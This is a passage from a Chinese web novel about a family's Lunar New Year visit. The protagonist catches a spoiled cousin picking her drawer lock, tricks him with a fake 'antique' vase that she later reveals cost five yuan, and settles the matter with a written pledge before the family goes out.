时芳华越说越羡慕,转头去拉李秀兰的手,语气里满是酸意:“弟妹,你可真是好福气,养了墨墨这么个好闺女。你看她多孝顺,出书赚了第一笔钱,就给你买了个大金镯子,亮闪闪的,多体面。我这辈子,估计指望不上了。” “大姐,瞧你这话说的,孩子们孝顺,是咱们做父母的福气。”李秀兰笑着打圆场,赶紧把话题往回拉,“你家海霖多稳重,娶了桂英这么个能干懂事的媳妇,小两口日子过得和和美美。红梅也乖巧,针线活做得好,将来肯定也是个贴心的。虎子就是年纪小,不定性,等再大两岁,就懂事了,到时候肯定也出息。” 一屋子人吵吵嚷嚷的,时墨站在旁边,不动声色地打量着大姑一家人。 大姑看着嘴碎心热,是个直肠子,好像说话不过脑子,想到什么说什么。实则护犊子护得厉害,小算盘打得也精。刚才那句“金镯子”说得刻意,分明是在试探她家现在到底有多少家底。 大姑父赵德柱,看着老实巴交,其实心里有主意,对儿子是真心着急,但除了打骂,也没什么好办法。 表哥赵海霖看着沉稳靠谱,对弟弟的做派显然看不惯,但管不了,索性不管。表嫂王桂英,文文静静,是个会来事儿的,进门就帮着干活,不掺和婆家的闲事。 表姐赵红梅是真懂事,性格软和,对她是真心佩服,可在家里说不上话。 至于赵虎—— 时墨看着他偷摸往兜里揣东西的小动作,心里冷笑。 这小子就是个被惯坏的混不吝,手欠心野,嘴硬没规矩。今天能随便翻她的东西,明天指不定能干出什么事来。 “行了行了,大过年的,别吵了。”李秀兰打圆场,“虎子还小,大点儿就懂事了。来来来,都坐下,喝茶嗑瓜子,我去准备午饭。” 时爱国也赶紧跟着招呼:“对对对,大姐、姐夫,坐,喝茶!” 时建军转身走到电视前,打开了电视,调到了春节晚会重播的频道,正好放到马老先生的相声,热闹的声音瞬间填满了屋子,尴尬的气氛也散了不少。 “大姑,大姑父,大过年的,咱们不聊那些不开心的,先看电视!”时建军笑着打圆场,把几人拉回了沙发上,说着偷偷冲时墨使了个眼色。 时墨立刻会意,趁赵虎被相声逗得哈哈大笑、注意力全在电视上的工夫,溜回了卧室,把桌上的小摆件、集邮册、小说手稿全都锁进了床头柜的木箱里。又把抽屉里的零钱、证件、粮票全都收了起来,锁得严严实实。 锁门的时候,她注意到,桌角她早上放着的一块三毛零钱,不见了踪影——不用想,肯定是赵虎刚才翻东西的时候,顺手揣兜里了。 时墨的脸色沉了沉,心里对赵虎的防备又多了几分。 等她从卧室出来,赵虎还在客厅坐着,眼睛却时不时往她卧室门瞟,看见她出来,赶紧收回了视线,假装专心看电视,耳朵却竖得老高。 赵虎在客厅坐着,眼睛却时不时往时墨屋里瞟,看到时墨出来,赶紧收回了视线,假装专心看电视,耳朵却竖得老高。 厨房里,李秀兰正忙活着切菜,案板上摆着炖好的排骨、炸好的丸子,还有洗好的菠菜、韭菜,准备做几个过年的家常菜。王桂英早就撸起袖子,系上了围裙,进来帮着择菜、切肉丝,刀工利落得很,比李秀兰还熟练。 “桂英,快别干了,你是客人,哪能让你动手!快出去坐着!”李秀兰拦都拦不住,急得不行。 “二舅妈,没事的,我在家干惯了,不累。”王桂英腼腆地笑了笑,手里的菜刀不停,几下就把肉丝切得匀匀实实,“大过年的,人多活多,我多干点,您也能轻松点。再说了,我跟海霖结婚,还没正经给二舅、二舅妈拜过年呢,干点活是应该的。” 大姑走进厨房,看见这场景,笑得合不拢嘴:“弟妹,你就让她干吧,都是一家人,不分什么里外!桂英这孩子,别看文文静静的,手脚可麻利了,家里家外一把好手,我们家海霖娶了她,那可是有福气了。” 夸完儿媳妇,她拉着李秀兰走出厨房,往沙发上一坐,目光就落在了时建军身上,关心道:“建军,你现在有对象了没?要是没有,大姑给你介绍一个!你姑父厂里有好几个姑娘,都是正式工,人长得标致,性子也好,跟你正合适!” 时建军还没开口,时爱国就笑着接话了:“姐,不劳你费心了,建军有喜欢的姑娘了,是师范大学的大学生,人特别好,知书达理的,俩人正处着呢,感情好得很。” 大姑父赵德柱一愣,脱口而出:“大学生?建军不是还在厂里当临时工吗?大学生眼光高,能看上他?” 这话一出,时爱国不仅没生气,反而满脸的骄傲,腰板都挺直了几分,脸上的骄傲藏都藏不住:“姐夫,那都是老黄历了!建军去年年底就转正了,现在是首都机械研究所的正式职工,有编制的,还是技术岗!” 这话一出,大姑一家人瞬间都愣住了,脸上全是震惊,连嗑瓜子的赵虎都停下了动作,瞪圆了眼睛看向时建军。 首都机械研究所的正式编制,那可是实打实的铁饭碗,多少人挤破头都进不去,更别说时建军才二十出头,就成了所里的技术员,这在当时,绝对是顶顶有出息的! “我的天!首都机械研究所?”大姑声音都高了八度,“那可是国家单位啊!建军,你啥时候进的?怎么不跟大姑说一声!” 时建军不好意思道:“去年的事儿,我纯属运气好。” “什么运气好?”时爱国不乐意了,“那是你妹捐国宝,国家给了你一个机会,但你自个儿要是不争气,人家能留你?你凭本事站稳的脚跟,有什么不好意思说的!” 时建军被夸得脸都红了,一个劲儿地摆手。 大姑和大姑父看他的眼神都变了,从之前看“二弟家那个临时工小子”,变成了看“有出息的大侄子”,满脸的笑意和欣赏。 “哎呀,爱国,你这俩孩子,真是一个比一个出息!”大姑感慨道,“墨墨能写书赚钱,成了小有名气的作家,建军进了国家研究所,端上了铁饭碗,你这辈子,真是值了!” “就是啊二舅,建军你可太厉害了!”赵海霖也笑着凑过来,拍了拍时建军的肩膀,满脸的佩服,“我还在厂里当临时工,你都进研究所了,以后可得多跟你学学!” 时墨坐在旁边,笑着陪衬,谦虚地应着话,心里却清楚,大姑这一家人,今天上门,绝对不止是拜年这么简单。 中午饭摆上桌,满满一桌子过年的硬菜——炖排骨、炸丸子、红烧鱼、红烧肉,还有刚出锅的猪肉白菜饺子,两个炒素菜和一盆拌凉菜,热气腾腾的摆了满满一桌。 一家人围着桌子坐下,时爱国给赵德柱倒上了二锅头,时墨几个女孩儿倒上了橘子汽水,众人碰了杯,说了几句新年吉祥话,就热热闹闹地吃了起来。赵虎一个人干了大半盘红烧肉,吃得满嘴流油,筷子还在盘子里扒拉。 酒过三巡,菜过五味,大姑父赵德柱放下酒杯,叹了口气,脸上露出了愁容。 “爱国,弟妹,不瞒你们说,我们今天过来,除了给你们拜年,也是想跟你们讨个主意。”他放下筷子,语气沉重,“海霖那个临时工,干了好几年了,也转不了正。现在政策放开了,允许个体户做买卖了,我们那边,好多人开始自己倒腾东西,赚了不少钱。海霖就想着,从郊区我们自家地里,还有村里乡亲们那儿收新鲜蔬菜,拉到城里来卖,就是没门路,不知道往哪儿送。” 大姑立刻接话,看向时爱国和时建军,满脸的期待:“老二,建军,你们认识的人多,门路广。你看,建军在研究所上班,所里肯定有大食堂,能不能帮着牵个线,让海霖给研究所的食堂供菜?我们家的菜,都是自家地里种的,不打农药,新鲜得很,每天现摘现送,价格也绝对比菜市场公道,绝不给你们添麻烦!” 赵海霖也放下筷子,坐直了身子,接过话茬,语气诚恳:“二叔,二舅妈,建军,我不是一时冲动,这事我考察快一个月了。城里菜市场的比我们村里贵一倍还多,我要是直接从村里收菜,拉到城里埋,绝对有赚头。就是……我没门路,想问问你们,能不能给介绍介绍,看有没有单位食堂愿意收。要是实在不行,也不勉强,我就先去菜市场租个摊位试试水。” 这话一出,桌子上瞬间安静了下来。 时爱国和时建军对视了一眼,都有些犹豫。研究所的食堂采购,都是有固定渠道的,不是说换就能换的,更何况这是公家的事,哪是他们能随便牵线的? 时墨夹了一筷子鱼肉,慢条斯理地挑着刺,心里却在盘算。 赵海霖这人,看着稳重,不是眼高手低的人,这事他考察了一个月,不是一时兴起,是真琢磨过。现在正是个体户兴起的时候,生鲜蔬菜是刚需,只要菜新鲜、价格公道,绝对能做起来。 她正想着,赵虎忽然开口:“大哥要做买卖?那我也去!我不念书了!跟着大哥卖菜,也能赚钱!” “你闭嘴!吃你的饭!”大姑一巴掌拍在他后脑勺上,“你能干啥?让你去收菜,你别把菜都霍霍了!” 赵虎捂着脑袋,不服气地瞪了他妈一眼,筷子狠狠戳着碗里的米饭,嘴里嘀嘀咕咕的不知道说什么。 时墨放下筷子,抬起头,目光从赵海霖身上扫过,语气平淡却很认真:“大哥想干这个,不是不行。不过我得先跟你说清楚,单位食堂的生意,不是那么好做的。” 她一开口,桌上瞬间安静了,所有人的目光都落在了她身上。 “第一,单位食堂要的量大,你得保证每天都能稳定供货,不能今天有菜,明天没菜,耽误了人家食堂开饭,这责任你担不起。第二,食堂对菜的品质要求高,不能有烂菜、坏菜,农残、新鲜度都得过关,万一吃出问题,你这生意就彻底黄了。第三,食堂都是按月结款,不是现结,你得有本钱垫资,万一账期拖了,你能不能扛得住?” 时墨几句话,把里面的门道说得明明白白,赵海霖听得连连点头,脸上露出了佩服的神色:“墨墨,你说得太对了,这些我也想到了,垫资的钱我攒了点,村里乡亲们也愿意先给我供货,卖完再给钱,品质我也能保证,绝对都是当天现摘的新鲜菜。” “那就行。”时墨点了点头,继续道,“我的建议是,先别贪大,别一上来就盯着单位食堂。你先在城里菜市场租个小摊位,先干一两个月,把供应链跑通了,把口碑做起来,让大家都知道你的菜新鲜、便宜,到时候自然有小饭馆、小单位来找你供货。等你路子跑顺了,有了稳定的供货能力,再谈大单位的食堂,才靠谱。不然一上来就接大单,万一出点岔子,你连翻身的机会都没有。” 这番话说得条理清晰,句句都在点子上,连时爱国和时建军都忍不住点头,大姑和大姑父更是听得眼睛发亮。 “对对对!墨墨说得太对了!”大姑一拍大腿,“海霖,你就听你妹的!她有文化,见识多,准没错!” 赵海霖也满脸感激:“墨墨,谢谢你,我之前光想着找门路,没考虑这么细,你这么一说,我心里就有底了。” 大姑还想再说什么,让时墨帮忙介绍门路,被大姑父一个眼神拦住了。大姑父端起酒杯,对着时墨和时爱国举了举:“爱国,墨墨,谢谢你们了,给海霖指了条明路。来,姑父敬你们一杯!” 桌上又热闹起来,推杯换盏,笑声不断。 赵海霖眼神里有光,是真想干出点名堂,王桂英在旁边给他夹菜,安安静静的,不多话。 赵红梅吃得开心,时不时跟时墨说两句话,夸她书好看,询问新书什么题材。大姑还在念叨时墨有出息,眼里有羡慕,也有不甘。赵德柱闷头喝酒,偶尔叹口气,不知道在想什么。 至于赵虎—— 时墨扫了一眼,发现他不知什么时候已经溜下桌了。 她心里突然咯噔一下,刚要起身去找,就听见里屋传来“哐当”一声脆响,紧接着是赵虎的惊呼: “哎呀!” 那声音又惊又慌,像是什么东西碎了一地。 桌上的筷子瞬间都停了下来。 第62章 时墨心里咯噔一下, 撂下筷子就往里屋走。时建军和赵海霖紧跟其后,几个大人也反应过来,呼啦啦全跟了过来。 时墨推开门的瞬间, 就看见满地的青花瓷碎片, 连床脚都崩落了几片。 赵虎脸色发白地站在书桌前, 左手手心划了一道血口子, 血珠子正顺着指尖往下滴,地上已经有了好几滴血迹,他看见众人涌进来,先是慌得往后缩了缩,随即嘴一瘪, 先哭嚎起来了。 “虎子!你咋了!”大姑时芳华看见儿子手上的血, 瞬间就急了,扑过去一把抓起赵虎的手, 看见那道血口子, 心疼得直抽抽,“哎哟我的孩儿!怎么划这么深一道口子!疼不疼啊?快给妈看看!” 赵虎抽回手, 不敢看时墨的眼睛, 嘴里却已经嚷嚷开了:“我就是想看看墨墨姐屋里学习资料都有啥, 学学人家好学生是怎么读书的!谁知道那破瓶子就搁桌边上, 我一转身它自个儿就掉下来了!还把我手划了!疼死我了!” 他越说越理直气壮, 把受伤的手举起来给众人看,手指还特意抖了抖:“你们看看,都出血了!这瓶子放得也太不结实了!” 时墨站在门口, 看着地上的碎瓷片,又看了看赵虎,气得笑了。 她那个掸瓶放在书桌最里头, 靠墙根,别说碰,就是伸胳膊都够不着。要不是刻意去撬抽屉,胳膊肘往外拐的时候才会碰倒。 【宿主,这人伤口不对。】系统的声音立刻响起,分析道,【他手心那道口子,边缘整齐,是锐器刻意划的,不是瓷片崩溅造成的。而且他右手食指和中指指腹有金属氧化物残留,刚才应该一直在摆弄铁丝或别针之类的东西。】 时墨心里冷笑。偷开锁不成,摔了瓶子,怕被发现,自己拿碎瓷片划了手心卖惨,还倒打一耙说瓶子放得不稳。这套路,够熟练的啊。 大姑已经拉着赵虎的手左看右看,心疼得不行:“哎哟,都流血了!你这孩子,咋这么不小心!”她嘴上哄着儿子,眼睛却扫了一眼地上的碎瓷片,扭头看时墨,话里带话地说:“你说你这孩子,进屋就进屋,瞎碰什么东西?墨墨这屋子金贵,东西都乱放,也不往里面收收,你看这,手也划了,东西也碎了,大年初一的,多不吉利。” 这话明着骂儿子,实则句句怪时墨东西没放好,听得时建军瞬间火就上来了。 “妈!”赵海霖一步跨上前,满脸的羞愧和难堪,“你听他瞎说?他从小到大翻过几回书?刚才还嚷嚷着死也不读书,不让墨墨给他补课,怎么转头这会儿倒爱上学习了?想进来找学习资料了?他什么样的人,您不清楚吗?肯定是他又手欠,乱翻墨墨的东西,才把瓶子打碎了!” 赵海霖刚受了时墨的指点,心里正满是感激,转头亲弟弟就干出这种龌龊事,他只觉得脸上火辣辣的,恨不得找个地缝钻进去,说话的声音都带着气。 “哥!你胡说什么!”赵虎急了,梗着脖子嚷嚷,“我就是饭桌上想开了!大哥要做买卖,我也不能啥都不会吧?我就是想好好学习,怎么了?犯法啊?” “你少来这套!你要是想学习,太阳都打西边出来了!”赵海霖气得脸都红了,伸手指着他的兜,“你兜里揣的什么?拿出来!” 赵虎眼神瞬间慌了,下意识地把手往身后藏,支支吾吾地说不出话来。 时芳华赶紧护住小儿子,对着大儿子骂开了:“你当哥的,你弟都受伤了,你还在这儿挤兑他!有什么话不能好好说?他要是真能知道学习了,那是好事啊!不就是不小心打碎个瓶子吗?赔就是了!用得着你这么上纲上线的?” “大姐!你这话说的就不对了!”时爱国皱着眉,脸色也不好看,可看着赵虎手上的血,又不好把话说得太重。 时爱国和李秀兰对视一眼,都从对方眼里看到了为难。瓶子碎了是小事,可大姐家儿子伤了手,这大过年的,说重了不是,说轻了也不是。 时爱国只能把赵海霖拉了过去,“行了,先别说别的,孩子手还伤着呢,先处理伤口。大年初一的,别吵吵嚷嚷的,街坊邻居听见笑话。” 李秀兰也赶紧转身去拿家里的碘酒、纱布和药棉,嘴里打着圆场:“就是,大年初一的,有话好好说,大姐,先给孩子把伤口包上,别感染了,破伤风可不是闹着玩的。” 东西拿过来,李秀兰刚要拧开碘伏给赵虎消毒,时芳华一把抢过碘伏,小心翼翼地给儿子擦伤口,嘴里还不停念叨“慢点,疼就跟妈说”,护犊子的样子,看得时墨心里一阵腻味。 唯独时建军没动,他站在时墨身边,注意到妹妹的表情,再看地上的碎片,脸色沉得能滴出水来。 “赵虎。”时建军往前迈了一步,挡在时墨身前,语气生硬的,带着压不住的火气:“我刚才是不是跟你说过,别乱进我妹的房间,别乱碰她的东西?你拿我的话当耳旁风是吧?不但打碎了东西,反倒还怪起我妹来了?” 赵虎往他妈身后缩了缩,嘴上却还硬:“我又不是故意的!谁让她把瓶子放那儿……” “放那儿?”时建军冷笑一声,弯腰从地上捡起一片碎瓷,“我妹的瓶子放在书桌最里头,靠墙根放着,跟墙贴得严严实实,你要是不蹲在那儿撬她抽屉,胳膊肘往外拐,能碰着?你当我们都瞎呢?” 赵虎脸色一变,下意识地把手往兜里揣捂着什么。 时墨眼尖,看见他兜口露出半截细铁丝。她没吭声,只是走过去,弯腰把地上的碎片一片片捡起来,放在桌上,动作慢悠悠的,却让屋里的气氛越来越压抑。 “大姑,”她直起身,语气平淡,听不出喜怒,“这瓶子碎了就碎了,东西坏了可以修,伤了人就不值当了。先把虎子的手处理了吧,别真感染了。” 时芳华没想到时墨居然这么好说话,松了口气,连忙拉着赵虎坐到沙发上,催着李秀兰给上药包扎。 时墨珍惜的把碎片收拢到桌上,一片片拼着,像是在看还能不能复原,指尖划过瓷片上的纹路,眼神冷得很。 等给儿子包扎完,时芳华这才抬起头,看向时墨,又看了看桌上那堆碎片,语气带着点敷衍的歉意:“墨墨,这事是虎子不对,大姑替他给你赔个不是。这瓶子多少钱,大姑赔你,你说个数,大姑绝不含糊。” 她嘴上说着赔,心里却笃定,一个半大的瓷瓶子,顶天了也就三五块钱,根本不值当什么,大不了赔十块钱,足够给足他家面子了。 “妈!赔什么赔!”赵虎立刻拽他妈袖子,“谁知道她这破瓶子值几个钱?说不定就是地摊上几毛钱买的,故意讹我们呢!” “你闭嘴!”赵德柱终于忍不住了,一拍桌子,震得茶杯都晃了晃,对着赵虎吼了一句,“做错了事就得认!弄坏了人家的东西,就得赔!这道理还用我教你?我平时怎么跟你说的?你全当耳旁风了!” 他转向时爱国,语气诚恳,带着点愧疚:“爱国,是哥没教好孩子,给你和弟妹添麻烦了。这瓶子多少钱,我们全赔,一分都不少。孩子不懂事,不能让他养成不担责任的毛病。” 时爱国张了张嘴,看了看时墨,没敢替她做主。这丫头的东西,他从来不过问,但知道都是她淘来的宝贝,估计便宜不了。 时墨把最后一片碎片放下,抬起头,看着赵虎,嘴角带着一丝若有若无的笑意:“大姑父,您别急。这瓶子的事,一会儿再说。” 她转向赵虎,语气淡到没有情绪起伏:“赵虎,我问你几句话,你老实答。” 赵虎被她看得心里发毛,往他妈身边靠了靠:“你、你问啥?” “你说你是想看学习资料,碰倒了瓶子,对吧?” “对、对啊!” “那你说说,你想看哪科的资料?语文?数学?还是英语?我书桌上摆着的,是哪科的练习册?” 赵虎张了张嘴,眼睛瞟向书桌,支支吾吾半天,一个字都说不出来。他刚才一门心思撬锁,哪注意桌上摆了什么? “还有,”时墨往前走了一步,目光落在他兜口露出来的半截铁丝上“你刚才还说初中毕业就去学开车,谁给你补课你都不学。宁可不读书也要去开车。怎么吃着一顿饭的功夫,突然就想开了?突然就想发奋读书,帮你大哥了?” “我……”赵虎语塞,脸涨得通红。 “赵虎。”时墨的声音不大,却像钉子一样钉进人心里,“你要是真想知道学习资料都有啥,你喊我一声,我给你拿,光明正大的,为什么要自己偷偷摸摸进来?而且——”她指了指书桌,“我抽屉上了锁,你捅锁眼的时候,是不是太紧张了,才把瓶子碰掉的?” 赵虎脸色刷地白了,下意识地把手往兜里揣,那个细铁丝的尖已经从兜布里扎了出来,一按就扎了手,疼得他“嘶”了一声。 屋里安静得落针可闻,连窗外的鞭炮声都像是远了。 时芳华张了张嘴,想替儿子说话,却发现自己什么都说不出来——证据都摆在眼前了,再辩解,就是胡搅蛮 缠了。 时墨没再看他,转向时芳华和赵德柱笑了笑,语气却平静得像在说今天天气不错:“大姑,大姑父,这瓶子是康熙年间的青花缠枝莲纹掸瓶,正经官窑器。上个月在琉璃厂,有人出六百块,我都没卖。” 六百块。 这个数字砸出来,屋里所有人都愣住了。 时芳华的手停在半空,赵德柱端着的茶杯差点掉地上,连赵海霖都倒吸了一口凉气。 六百块,够他们全家工作攒一年的。 “六、六百?!”时芳华声音都变了,眼睛看向时墨书桌上的碎片瞪得溜圆,声音发虚,“墨墨,你没开玩笑吧?一个破瓶子,六百块?你姑父一个月工资才五十多,这瓶子抵他一年工资了?!” 赵虎的脸从白变青,从青变灰,嘴唇哆嗦着,整个人都僵住了,连哭都忘了。 “我没开玩笑。”时墨淡淡道,“我师傅是宋正先,文物鉴定委员会的委员,这瓶子就是他帮我掌的眼。你们要是觉得我说的价不对,咱们现在就拿着碎片找我师傅鉴定,找琉璃厂的店家问价,到时候鉴定出来多少,咱们按价算。” 时芳华彻底没声了。 系统在她脑子里泛起嘀咕:【宿主,这瓶子就是个仿品,除了好看,不值什么钱。您怎么说得跟宝贝似的?】 时墨在心里冷笑:【我故意的。】 【啊?】 【这瓶子是我专门搁那儿钓他的。我就想看看,他到底会不会偷摸进来。】她看着桌上的碎片,【他手脚不干净,我要是不给他个教训,以后他指不定趁人不注意偷了我什么东西。只有千日做贼,哪有千日防贼的。今天摔个假瓶子,让他长长记性,总比将来真丢了东西再撕破脸强。】 系统沉默了两秒,发出一声感慨:【宿主,您这也太……】 【太什么?】 【太有先见之明了!鼓掌!!!】 赵德柱脸色铁青,咬了咬牙,重重地叹了口气:“赔!六百就六百!弄坏了人家的东西,就得赔!虎子闯的祸,我们当父母的担着!” “爸!”赵虎急了,“她说六百就六百?谁知道她说的是真是假?这破瓶子能值那么多钱?肯定是她骗人的!” “骗你?”时建军冷笑一声,讥讽道,“我妹去年捐给国家的国宝,国家都给发了奖状和奖金,她用得着骗你这几百块?你也太看得起你自己了。” 赵虎彻底傻了眼,往他妈身后缩,声音都变了调:“妈……我真不是故意的……” 时芳华看看儿子,又看面无表情的时墨,扬手就打起儿子,巴掌落在赵虎背上,啪啪响:“你个惹祸精!一天到晚就知道给我惹事!六百块!你把我卖了都赔不起!我今天非打死你不可!” “诶,妈,妈别打了,我手疼。”赵虎边躲闪边喊道,哭嚎声震得屋子都嗡嗡响。 时芳华撂下手,又看向弟弟时爱国,眼泪都快下来了:“老二,你看这……虎子他还小,不懂事……六百块,我们家一时半会儿也拿不出这么多钱啊……你看能不能……能不能宽限几个月?或者……” 她没好意思说“能不能少赔点”,可话里的意思,谁都听得出来。 “大姐。”时爱国这才开口,语气温和,但态度明确,“墨墨的东西,都是她自己做主。我当爸的,也不能替她拿主意。这事,得听墨墨的。” 时芳华愣住了,她没想到,连弟弟都不帮自己说话了。 赵红梅站在门口,急得眼圈都红了。她走过来,拉着时墨的手,声音带着哭腔:“墨墨,对不起,都是我弟不好。你放心,这钱我们家肯定还,就是能不能宽限几个月?我攒了八十块私房钱,先给你垫上,剩下的,我每个月工资都拿出来还,行不行?” 时墨看着她,叹了口气。这兄妹仨里,偏偏出了赵虎这么个歹笋,也是难得。 “二姐,不关你的事。”她拍拍赵红梅的手,转向还在哭嚎的赵虎,脸上的笑意彻底收了。 “赵虎。”时墨声音不大,却瞬间让屋里人都看向她,她看着赵虎,眼神冷得很,“你要是现在认个错,写张保证书,保证以后再也不私闯别人房间,不撬别人锁,不随便碰别人的东西,手脚干净点,这瓶子的事,咱们好商量。你要是还嘴硬,那咱们就换个地方说理。” “哦对了。”时墨突顿了下,笑着补了一句,“我跟市局刑侦队的李队长很熟,你要是觉得我骗你,咱们就去派出所,让人家评评理,看看私闯民宅、撬锁盗窃、损坏他人财物,这些事加一块儿该怎么算。盗窃公私财物满一百块就能立案,六百块,够送你去少年管教所待两年了。过完年你就十六了,可不是不懂事的小孩儿了,该负的责任,一点都少不了。” 这话一出,赵虎的脸彻底白了,嘴唇哆嗦着,眼泪唰地就下来了。他天不怕地不怕,就怕警察、怕少管所,他妈平时吓唬他,最管用的就是这句话。 但他知道他妈多数时候是吓唬他,时墨是跟他动真格的! “妈,妈……”他拽着时芳华的衣角,腿都软了。 时芳华终于变了脸色。她看出来了,时墨今天不是闹着玩的,是真敢把赵虎送进去。 “啪!” 一记脆响,时芳华终于一巴掌结结实实地扇在了赵虎脸上。这回不是轻轻拍,是真用了力气,赵虎脸上瞬间浮起五个红指印,很快就肿了起来。 “你个小兔崽子!还不赶紧给你墨墨姐跪下道歉!你想进去吃牢饭吗?!”时芳华看着赵虎,这次是真动了气,声音都在抖,“我平时怎么教你的?啊?让你偷鸡摸狗?让你撒谎骗人?你全当耳旁风了!今天要是墨墨不饶你,我就当没生过你这个儿子!” 赵虎被一巴掌打懵了,又听见“少管所”三个字,彻底怕了,眼泪唰地下来了,眼泪鼻涕糊了一脸,“扑通”一声跪在地上,对着时墨声音哽咽道:“墨墨姐,我错了!我不该撬你锁,不该碰你东西,不该撒谎骗大家!你、你饶了我这回吧!我再也不敢了!我以后再也不随便进别人房间,再也不碰别人东西了!” 时墨错脚躲开赵虎跪的方向,站在一边,低头看着他,没说话。 屋里安静极了,只有赵虎抽噎的声音,还有窗外零星的鞭炮声。 过了好一会儿,时墨才开口:“起来吧。大年初一的,别给我下跪,我受不起。” 赵虎抬起头,眼泪糊了一脸,愣愣地看着她。 “光认错没用。”时墨语气依旧冷冷的,“你得给我写张保证书,白纸黑字写清楚,今天你干了什么,以后保证再也不犯。要是还有下一回——” 时墨目光扫过他兜口露出的那截铁丝:“就不是单纯认错能解决的了。” “我写!我写!”赵虎拼命点头,连滚带爬地从地上起来。 时芳华赶紧把儿子拉起来,又拉着时墨的手,眼眶红红的:“墨墨,大姑谢谢你……这孩子,回去我跟他爸一定好好管教,再也不让他惹祸了。” 时墨抽回手,笑了笑,没接话。 她太清楚了,大姑这护犊子的性子,回去顶多骂两句,根本不会真管教。这保证书,就是她手里的把柄,下次赵虎再敢犯浑,她就有得是办法治他。 时建军拿了纸笔往赵虎面前一放,又递了印泥:“写清楚,签上名,按上手印。” 赵虎抖着手,歪歪扭扭地写了保证书,错别字连篇,好不容易写完,按了个通红的手印。 时墨接过保证书,叠好收进了自己兜里,才淡淡道:“行了,看在大年初一,大姑大姑父的面子上,这瓶子的钱,不用你赔了。但是保证书我收着,再有下次,我绝不手软。” 时爱国赶紧打圆场,招呼着众人回客厅:“行了行了,都过去了。孩子们都年轻,谁小时候不犯点错,改了就好,以后日子还长着呢。这大过年的,别为了这点事伤了和气。” 李秀兰也赶紧招呼:“对对对,都回客厅坐吧,菜都凉了,我再去热一热。” 赵海霖也连忙跟着打圆场:“二舅妈说得对,都是自家亲戚,说开了就好。今天这事,真是给二舅二舅妈、墨墨添麻烦了,以后我一定看好我弟弟,绝不让他再犯浑。” 屋里气氛总算缓和了些,可剩下的半顿饭,吃得七零八落,谁都没了胃口。赵虎缩在沙发角,头都不敢抬,连最爱吃的红烧肉,都没敢伸筷子。 吃完饭,时芳华拉着李秀兰在厨房说了半天话,翻来覆去地赔不是,赵德柱跟时爱国坐在沙发上,唉声叹气地教训赵虎。 时墨弯腰,把桌上的碎瓷片用报纸包好,塞进抽屉里。赵虎才客厅偷摸看了她一眼,又赶紧低下头,再不敢乱瞟。 时建军看着时墨,小声道:“妹,就这么放过那小子了?六百块呢,就这么算了?” “不然呢?”时墨笑了笑,压低声音,“那瓶子本来就是五块钱买的假货,我就是为了治治他,他要不偷摸进来也不会有这一出。真要了六百块,大姑父一家得勒紧裤腰带过一年,亲戚情分也彻底没了。保证书拿到手,他再敢犯浑,就有把柄在我手里了。” 时建军这才反应过来,对着时墨竖了个大拇指,小声道:“还是你厉害,这小子,这次是真被治住了。” 没一会儿,李秀兰从厨房出来,笑着道:“今天天好,阳光足,外头也热闹,让几个孩子出去溜达溜达吧,在家闷着也难受,顺便消消气。建军,你带着弟弟妹妹出去转转,别走远了,天黑之前回来就行。” “对对对。”时爱国附和道,“你们几个孩子别在家憋着了,过年外面庙会也开了,出去逛逛,买点小玩意儿。” 时建军应了一声,拿了棉袄穿上。赵海霖拉着王桂英,赵红梅挽着时墨的胳膊往外走。 赵虎缩在最后面,大气都不敢出,走到门口时偷偷看了时墨一眼,见她没注意自己,才松了口气,快步跟上去。 出了门,冷风一吹,带着鞭炮的火药味。 赵海霖长长地舒了口气,凑到时墨身边,压低声音,满脸愧疚:“墨墨,今天谢谢你。虎子那孩子,就是被我妈惯坏了,欠管教,有了这一次,他肯定长记性了,回去我一定盯着我妈,不能再这么由着他胡来了。” 时墨笑道:“大哥,有你这句话就够了。他现在好好教,还能改过来。” 家属院里到处都是放鞭炮的孩子,热闹得很,年味十足。 几个人沿着街边慢慢走,赵海霖走在前头,一路都在留意菜市场的行情,越看越觉得卖菜这事能干。 赵海霖问了好多家菜价后,心里更有底了,他回过头,凑到时墨身边:“墨墨,我今天在街上看见好几个摆摊卖菜的,生意都不错。我琢磨着,开春就先在菜市场租个摊摊位,先卖一个月试试。要是真能行,再琢磨扩大。 时墨点点头:“慢慢来,别贪大,先把路子跑通了再说。” 赵海霖有点不好意思地开口:“哥跟你商量个事,我这要是真来城里卖菜,每天凌晨拉菜过来,来回跑几十里地太耽误事,也不方便。我听我妈说,你们家在这胡同里,有两间老宅子的平房在出租?你看能不能租一间给我,我就当个落脚的地方,放放菜、歇歇脚,房租绝对按市价给,一分都不少你的。” 时墨看了他一眼,随即反应过来,大姑他们只知道她家之前有两间平房出租,却不知道,她早就把整个四合院都买下来了。 “这事我做不了主。”时墨笑了笑,把话头推了出去,“那房子是我妈在管,租给谁、租多少钱,都得她点头才行。” 话音刚落,旁边的时建军大大咧咧地接了句:“海霖哥要租房?正好啊!张寡妇那间小屋现在正好空着,没人租!海霖哥你要是想用,直接住进去就行!房租不房租的,都是一家人,提那个干什么!” 时墨瞬间头都大了,恨不得给她哥来一脚。 她太清楚赵虎的性子了,赵海霖要是住进来,赵虎绝对会有空跟着往这儿跑。 赵海霖眼睛瞬间亮了,满脸感激地拍着时建军的肩膀:“建军!太谢谢你了!你可帮了哥大忙了!房租必须给,亲兄弟明算账,绝对不能让你们家吃亏!等我生意做起来,第一个请你们吃饭!” 时墨深吸一口气,脸上还得端着笑:“大哥,那间房年头久了,屋顶漏雨,墙皮也掉了,水电都得重新弄,得好好收拾收拾才能住人。而且我妈在里面放了不少东西,回头我得先问问她,看她什么时候能把东西腾出来。” “没事没事!”赵海霖连忙摆手,“收拾房子的事我自己来,不麻烦你们!东西要是不急着腾,我先收拾旁边的小隔间住,不耽误事!” 时墨点点头,没再说话,心里却已经开始盘算起来。 那间房租给赵海霖,不是不行。但怎么租、租多少钱、签不签合同,都得先跟爸妈商量好。亲戚之间做生意,最怕的就是账目不清,到最后伤了和气。 她哥这好心一句话,惹出一堆麻烦。 她正想着,赵红梅挽住她的胳膊,满脸崇拜:“墨墨,你今天真是太厉害了!我弟那么横的人,都被你治得服服帖帖的。我什么时候才能像你一样,说话做事那么有底气啊?” 时墨看着她,心里微微一动。 赵红梅这姑娘,心善,软和,但骨子里缺了点硬气。 “二姐,”时墨挽着她的胳膊,慢慢往前走,“你有没有想过,以后干点啥?总不能一直在厂里当临时工吧?” 赵红梅一愣:“干啥?我……我在家帮妈干干活,等过两年找个婆家……” “找婆家之前呢?”时墨看着她,“你就没想过,自己做点喜欢的事?学门手艺?找个工作?你大哥都想着做买卖了,你就没点想法?” 